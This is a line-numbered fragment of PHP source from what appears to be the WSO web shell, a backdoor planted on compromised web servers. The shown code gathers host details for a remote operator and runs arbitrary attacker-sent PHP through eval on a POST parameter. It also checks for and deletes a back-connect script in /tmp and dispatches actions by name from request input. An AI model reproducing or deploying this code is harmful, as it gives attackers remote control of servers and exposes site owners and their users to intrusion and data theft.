  1839.             echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
  1840.             unlink("/tmp/bc.pl");
  1841.         }
  1842.     }
  1843.     echo '</div>';
  1844.     wsoFooter();
  1845. }
  1846. function actionRC() {
  1847.     if(!@$_POST['p1']) {
  1848.         $a = array(
  1849.             "uname" => php_uname(),
  1850.             "php_version" => phpversion(),
  1851.             "wso_version" => WSO_VERSION,
  1852.             "safemode" => @ini_get('safe_mode')
  1853.         );
  1854.         echo serialize($a);
  1855.     } else {
  1856.         eval($_POST['p1']);
  1857.     }
  1858. }
  1859. if( empty($_POST['a']) )
  1860.     if(isset($default_action) && function_exists('action' . $default_action))
  1861.         $_POST['a'] = $default_action;
  1862.     else
  1863.         $_POST['a'] = 'SecInfo';
  1864. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1865.     call_user_func('action' . $_POST['a']);
  1866. exit;
  1867.